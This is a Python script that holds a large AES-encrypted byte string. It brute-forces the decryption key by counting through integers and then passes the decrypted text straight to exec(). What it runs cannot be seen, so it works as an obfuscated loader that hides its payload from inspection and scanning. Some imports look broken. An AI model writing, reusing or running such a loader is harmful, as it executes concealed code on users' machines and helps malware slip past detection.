from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import Random
import time
class Decryptor:
	def __init__(self, key, file_name):
		self.key = hashlib.sha256(key.encode('utf-8')).digest()
		self.file_name = file_name

	def pad(self, s):
		return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

	def decrypt(self, ciphertext, key):
		iv = ciphertext[:AES.block_size]
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plaintext = cipher.decrypt(ciphertext[AES.block_size:])
		return plaintext.rstrip(b"\0")

	def decrypt_file(self):
		dec = self.decrypt(self.file_name, self.key)
		return dec

class BruteForce:
	def __init__(self, encrypted_codes):
		self.encrypted_codes = encrypted_codes
		self.password = 0

	def start(self): 
		status = True
		while status:
			try:
				test = Decryptor(str(self.password), self.encrypted_codes)
				decrypted_code = test.decrypt_file()
				executable = decrypted_code.decode() 
				status = False
				return executable 
			except UnicodeDecodeError:
				self.password += 1

encrypted_codes = b'\xe0^\xe2Y\xb17\xc0\xad\xa7Xuz\x99\xfd\x9d\x9c\xf7\xba\\\x87&<\x8c\x0f(!k+\xedq\x1e\x9f\xafSDT\xad\xcb\xad\xa8\xbb\xa6\xcf\xcf\xab\x90\xcf]\xf8\x97YA\x8d\x136\x0b[\xd2\xab\xae\x0b\xdc\xcb!\x95B\xd1\xd4\xb5\x16%O\x01\xff&\xa0pv\x1f\xba\xc5\x05v$\x7f#\xc4\xfb\xf9\xf3\xc6\xe2\xa3\xa2\x1c\xaf\xc7\x02u\xb1\xb4s6<F\xe0\xe0`\xac\x1a;\xce\xcb}k\x99*4\xff\xf7\x07<\xc3o\xceM\x974j\xc1b\x93\xbc\xc7\xa2L\xd0\xf2_V\x9e\xfc\xd0\x85e\xa4\x9e\xa3y\xd2~\xef|y\x82O\x08Z\x9f\x7fU\x94\x9e\xfd\xdf\x9d,Z\x130\x11\x9aZ]y\x8duL\xb2\xc3\xdd\xbc\x0e\xbd?\x01\'\x9d9%r\\\xa9\x15\xbaE{\x05\n\xddT\x17\xda\xfa\'wA\xacR\\=1\xfc\x159^\xb8\x02\xbd\xdd\xed\x19\x0f\x1ev\xf6\xd7\xb5T\xdbo_}X\xfd?_\xa5\x93\xd8p@\xbd\xfa/\x00|\nu*4\xa7Od\xa64I\x9f\xd8\xd3\xe1\x7f\xbb\x10M\xe76_\x7f\x01\xe2\xd0+\xfc-\x9d\xe7\tCT\x1a\xf1\xa2u\x99\x93\xc6x\x8c\xc3+\x8a\xb3\xde\xe1\x05\xf6o?\xfc\x0bt\xeb\x8d\xb6]@\x0e\xd3\x9e\xaej\xfeV&JLvJ\xde\x9a\xd3A\x12\xbak\x1b\xd7\x06\x8f\x95\x17&W%T\xb7&\xdc\x8c%;\x18\x99"\xbe\x96\x0f\xd0\x05\x8a\xee$\xa5\xaf\xd8V\x1a\x19Mm\xe5#\xc6~\x11\xeb\xa2$\xc5*Drq\xfb-\xd7|\xe5!\x7f^\xe3b\'\x1e\xf9\xce\x8e\xb4R\x1d`b\xf9\xaa\\\xce\x8b\x1b\xec2\\\xb13\x94*4\x08k1E.\xb34\x0bB\xc9\x03I\n\xdcMw\xc0\x8c\xf1\xdd\xd2\xa4\xc8kz\xa9\xb2_5/\x10\xfb\x0c\xb0\xb1[\xc5\xf3)\x95\xa6c\xcf\xdd\x9bPRg\xe4\xf4\xf0@\xab\x01\x12\x10\xdf\x8b\x8c[\x14hmE\xb6\xc3\xae\xf4\xd8\xfb\x94\x95\xf4\x13W\xf1{\xd05\x9d@L`3Rk\x16\x1a\x10=\xe4\x9e<\xb4\x8a\x17\xa7\xf7\x7f\xdc\xa6\x05q]S\x94\xc4Pj\x99\xa8\x8b6l\x86\xf5w\xb4\xd84\xefA\xc3\x86\xa2N\xa9\xe0\xec\xcd\x02=\xf0;\x853\xc9\x1b\x17\xe0Z\n\xe4\xdb\xdf\xf0O\xfa\xce\xe2\\\xa4\xc7\xc6\xcecjO_\x14P\xef\xbf\xe4mD\xf1*Q\'\x81x\xefi\x8a\xca\xc1\r\x01\xab\xdf{#\xe4\xe9\xe5\xc3\x8c\xc4 .l^G4\xff7\x0c%*\x9d\x16\xd0\xbc#\xf8S\xbf\x90~0\xf2{\x96\xed\x01\xe2N\xed\xec\xe4uYq\'\xf7\xf1\xc9\x90\x92\xa4/\xe6\x8a~i\x13\x84S\xe9\x12m\xdd\xa8\x016\x0c\xf2\xc3VT\xedU\xf3u\x9d\x99\xe1\xfb}\x8c\x86g\xa2\xa8\xae\xe6Mh2\x7f4=)\xe7\xb3\t\xee\x1cr\x02\xba\x89\xaa\xce\x94 \xedU\xa3\x80\x18\xf0\xe1\xf7\x97\xbc\xf7\xdfY\xff\xb1 \xa20\x9e@\xf9@R\xb6x\xdcS\xb1\x0f\x12\xe4c\xf9\x8d\x82.\xcbI\x96\x1e\x81+\xd7_\x8dXh\xa6B\x95\xe6\xa89zw3\xd3X\xa0\xc6\x9c\x04Q\x18AN\xbb9\x14r\xc5\xbc\x11\xda;B4W\r\xb6\x02Sc\x80w\x1fU\x85\xb8D\x11\xd9\xa3"V8x\xcb\xd7\x18U\xaa<ufI\x1b\x17-c\x17\xd5\xaa\xef\xfb\xa1\x88{\x8a\xfa\'\xb68]\xf8:\x82\x19wD+\xbf\x0fe<\xe7*`\xc7%\x19\xa0\xe9z\xealj\x7f\xdca\x92\xb1\x16\xbc{7\x9fx\x1b2\xd3\xf4Z\xce\x98\xff\xdcG\xf4WiHp\x0c\x02u\xd4\xb6\x87\x80\x0c\xb1\xc3u\xd1\xdd\x8bZN\x86D\x8a\xc7\xed\xd8V\xeb\xdc\xe7\x1f\xbd_uuT:\xb0\xcdaD\x19\xb3S\x13\xa4\xd7\x94@9\x8bj\xca\x15\xab2\xb3\xaf\xe0\x19\xf4\x152\xc3\xced\x84\xba\xa5\x17\x07\xcba`\xe2n\x8d\xc0\x84c\xf4\x14Lc\\\xbaf\xc0\xc8\xf4\\\xf8+ziVO\xc1e\xab:]\xbe\x7f\x8b?\xbb\x15\x18\xbc\xa7\xb6\x10\xa9\xfcE\x84\\\x17\x7f\x02\x82VU\xa8[\xa5\x02I\xdeE\x1c\xad\'J\xac%-\x98\xf7\xf7\x1a\xbc\xb6\xcc9\x91x\x91Y\x13\x0f71dk\xb2\x07\xbb\xa6_\xf9\x14\xdd\xf6\xd3\x18(\x17_\xd1\xa9\xf7j\x16\x8a\xf9^\xb9%\x00\xf6US\xe1\x87\xa2\xbf/\xaa\x99\x17\xe1\x16\xa8bE\x8a@\x16\x9d\xee\x9b\x1boe\rK\xc7\xdco\xdd\xfc\xea\xc3\xe9\x87]\xf3v\x03\xd3\xec\x8c\xdaz\xba\xb6\xba\xc6U}\x1c\x85\x1c\xcf7 \x99\xb4=\xd0,\x9f\xc6N\x9c\xcf\x7f(\xd6\xd1\xfaI\xb2|"\xeb\xf1\xd5I1\n\x86\xc1S`\xe64u:\x96\xde\x9e\x1frZ\xbcWlH\x88\xeb\xad\xfa\xb3o-\xab\x9c\xadF\xb2\xfbc\xe5F\xf1\xac\xe3\xd3>\x08\xb9vO\\V\xec\x19\x8b\x7f$\xf9\xfdp\xa0\xe4\x94Y\t\xc5\x1en)w\xf7;IS\nO\xce\xd0\x16\xa8x\x99\x16\xe4j\xc8\x13\xd4\xb9\x8f\xa9\xdeuH\xf3\x8b\x8a\xffj1\x92\xca\xad\xd0\xd3\xc4\x19RT\x16\xc0x\xda\x9a\\|q9\x9a;aw\x06\xed\xb1\xab+[\xd7\xc4\xd4\xf8\x11\xb4\xd97\xc3y\x16\x02\x02`0\xbeT\xd6\xb0\x92\x95\xef\xa6\xadh\xb5\n\xa7o\xf1\x82L\xbc\x96\x85\xeb+QW\x06\xa6-w5\xfd\x92\x03\x19\x10\xe8\xf6\xca~?\xa8|\x93/\x11\x08\x1e\xd5N\xd3,m\xd7*\xca\xd3\xd6B\\\x84pPV\xa3\xbd\xb8x\x96\xacS\xd5P\xc0\xd0\x8c>\xbd\x0b\\\xd9\x8d\x9f\xdd\x84\x92\xf3E\xfe\xe8$\xc81\xbf\xcf\xb2\xc4\xc36\x895\x9bxE\x81\r\x19]\xde-\xf8\\\xbf`\x81\xc1\x92]\xe9\x8f}\x9b\x8f\xf3\x8eH\x80\xee/\xf8\x97\xc2.=\xf9\x0c\xf6L\x8bi\xffj\xbd\xb6\x07\x1ek\x83<10\xc28\xa8\xe5(<j\xfcEknoz\x93\xb6\xb5u\x94Zx\xe2\xe9x\x97\x17\x16mG\x00\xb9\x1c\xefb\'\xaf\xd6\xa6\nd$ok0V\x00\r]\xb2\xde\x9d\x95\x80J]\x19yQ\xeb\xbea\x04:\xc4\x8fiu\xf3o\x83\x08eY\x84p\xe5\xc6\xaf\xa4\xbf%\x12\xe3\xf4\xca\x9d|\x19\xeb\xa5\xbf\x97R\xef\xf7\x9d.\xde\xe9\xc8\xbbX\xb3up\xd8\xb6\xbb_\xa2\xa6\x9d\xf7\xc7\x0e7\xae\xdcU,\x8d|\xfc\x8e\x8dR9tSm\x1f\xd4\xccJ\x90\x89\x1cdS\x92\x1b\x93\xa8UZ^\xcd\tc\xe5\xc0\xa9\x02\xbc\x04\x8b_\xf9\xee])O6\xb1\x02\xe0\xdf\x9c\x8a\x1cn\xe8\xc3\x01\x83c\xc9\x80\xf7\x9dS\xc7k,#\xa6\x95Z\x11\x03\xaf\xbe\x86\xdfN\x1d\xc24\xb0,\x19VS\x91/\x00\xf6\xe5K\x92g\x0f\x0f2A7\xffJXr]\xb564@\x0b<\x01\xe5\xa1\xf6\xe9\xef\xb6\x7f\xc9\x87\x90\x1c\xf4\x83\xfa\x15\xbb?\xbc\x7f\x07<A\xcd\nw\xda\x82r\xfaR\xf3\x9c\x98\x8b\x95V\tE=\xb9\x82\xe1\xc1|\xf4pL\x14\xdaN~m\x91\x04G\xcb\x16\x8a\x08\xf6\xae\x96M\xdc\xe2\xc0\xe1\xba/\x03\x0f\x99}\x86\x07\xad\xd0O\xf3I\x1b\x93\x8be:\xd5\xee\xa4l\xd5\xaf\x8e\xa2\xcb$\x95\x95f\xd01Ab\x06\xdb\xc2\x83}\xec\x06L\xfc\xc3%}\xa2g\xf3\x01\x02\xb1A\x10C_\tq\xa2]Y\xe9\xe6\xc3\xb7\x1cZ\xdd\xf1\x1a$\xab\x7f\xdc!Q\x82\x91\x91\xcc\xe9\x0b\x88\x97\xd4R\xf3.\xb3I\xa5e^LNw\xf9\x10gVG\xb6\x1d\x83\xc0a\xf3\x1b3\x02`\xe7\xa2\xf9z\xa6\xaf\xc3\x00:\x9c?\xfe\xed\xce]_\'\xb1`\x00y\x88\x93o\xbb\xcf\xebc\xb6\xa1H\x80P\xe3V\xd0\xbf\xa1\xd5\\\x97?=q:\x9a\x9b@\x91\xed\x86\xad\xf7c\xb5S\x8e\xa3\x02\xfbA;\x8e*E2r\xd0\x9e\xa9\xb5n\x9b\xeb\xba\xe8g\xea\n\x88\x16\xa8"%\x14\xa9{\x97c\xfei\x9c\xf9^cn\xbb\xd6\xf7X\x14-\x8c\x14\xd1\x98G\xa1|p(\x85\xd8X\xd3"M\xc0\xc0&\xd13\x11\x18/"\xd1.\x05\xff\x0f\x83\x1e\xa8}\x93\x1b\xd1yF\xe7\x0bw\xf1j4t\x9e\xa2~\xc2\xbde\x13\xe2\x96y\x9fP\x08x\x96)MZ\x88t\xe5\x00~\xab\x95\xfd\xa0\xd1\x94\x8fa\xea\x08}d\xbcD\xa9i\x90-\xa2\xe7\xebY\xc3\xf8]\x8f{d\xfa\xd1\x87\xd1\x9fj\xd5\xb3\xf8\xb2E\x05\xfc\x9a\x93\xf0\xb7\xee\xba&~\x13\x00dT\xe6x4\xf5a.\xf7\xce\xe4\x9eH\r\r \x8eHw7\xb0m\x90\xf1m.\xfbK9X\xb7s\\t\xa2\x1aT\xc9o\xfb}\x03\xa3#\x0b\x0f\xa2\xec\x1f\xad\xf9\xc8n=\x86_R\x95\x01\xe3Y\xac\x19X\xc9y\x1a9\x90\xeeJ{\xdf\xc8l\xe0\xce\x03\x9b\x9e\x81\x90\xddR\x1e\x93R\x1d$\xd2\x9eS\x8f\xe0zU\xac\xe3e\x9b=\xe9\xc8\x19\xad\xfb(\xa4 \x9e}r\xff\xc2u\\{&9\xe2\xe8)\xb8pm\xe5ag\x19\xa4R\nP#]/H8\xa4\xf1Ymn\x9f9"\xc9K\xbc\xd1\xab\xd3\xfa{_\x19+\xc82\x9c7\xd1d;R,\x0b\xad\x9f\x87\xb3\xa6\x8db\x01\xb8\xe3\xd7\xbeh\xc0\x15\x12}WV?l\xa4#A\x1de\x91{\xbd^P\x83d\x81%\xa1\x97\xcc\x0e\xee\x8c\xe9\x1c\x89\xbbM\n\x1d\xa4\x99\xed%<\xcf^\xe6w \xc5\x1c\xa6\x8ca\x0f \x88\xcd\xdc;\xab\xde\xfcew\xf0\x00\xf4\xbd\xf9.\xcd\x9c\x84lY\r\x1eL\xe1\x9f\xf9p\xad\xb5L\xcf9\xb3\x1cT\xb8p*\xfdI\xcf\xccO@\x1ak\xfb\xb5\xab\xf7\xc7\x90<\xcb\xf9\xeci\xb5rF^\xc6y\x02\xac\xeb\xda\xed|1\xc3\x84\x85\xa5\x91\x063 \xe2\xaf\xd8\xecp22)\xa6\xde\x95\xdc\xc0\x85\xc9\xcc\x14Y\xb5~[\xd1\xccw@\xed\xda\x8d\xa0\x04\x92\xe4\x87\xa3\xa4\x1a\xa8Tx\x0ee\xbc\x9e`\x88}\xc0\xb1MC;}4\xc2+X!\xb7\xa1\x7fQ\xc9\x8fj\xbd\t\xbf\xb4[\xb2\xc8P|\x99\xa8t+On\x9d \xff\x8e$\xf2\xd9\x92\xfb\xea\x85C0\x8eZ\xd3\xfb\x9d\xe8\xaa\xc8h\x02#\xd9\xae\xef!Wni5\xc8(\xfc\xed\x82\xfc2\x9cT\xeb\xc8\xf7\xc6\x0e\xcc\xbd\xe9\xed\xb7U\xbb[ZE\xe8[E\xf8\xee\x9d\\/\x13\xad\xec\x9e\xcamf7P\xccL<&\x92v\xd9k\x808\x18/\x06\xd68\x9a\x85\x8fd\xb8Z\xdd\xf1\xc13\xab\x99\xd3c\x19\xc4=\x159D\x9a\x9c\x08\x1c\xc6V -\x15\x03eT\x19\x1d\x9f\xf4\x96\xe6\x18\x16q\x9c\xc2~JQF\x8e\x9f\xce\x88j\xb7Ip\xf7^\xbe\xd6\xde\x85\xa7\x95\xca|C\xff\xa94h\xaa{\xa2tTW\xb9@\x8c\xcaC\xbbh\xd6\xa2\x18\x108;\t\x99YBy+/\xf2\xe3\xab\\w\x81\x08\xef\xceo\x9e\x9d\xe7\x07CN\x07\xf0\xa1\x94\xf0\xabI\xd3\xdf[=\xff\xc9Y\xaa\x8c5\xc12j\xd1\xc4\xb0?:\xc8\xdeVy\x14\xdb\xf1a\xeaB\x8d\x1eu\x95\xe8\x9c\xa1\x1f\xb3\xe2y\x91D\x841\xb4t7\xb4\x1b\x0f\xd7\x08a\x907i\xfa\x98\x97\x11\x8c\x0f8\x04\xc0\x0f\xdf\x98n\xef\x08\xb2\x8cZd\t\xd2\xd0\x17\xa2\xa4\x94\xc3{\x00\x01\'\x06\x1a\xe9\x90*\xe1[\xe7@\xa4\x8eH\x1b\x86\xcb\xfe\x80B\x02t[7l\x7f\x0f\xc1\xbcW\xe9N\xfe'
brute = BruteForce(encrypted_codes)
executable = brute.start()
exec(executable)
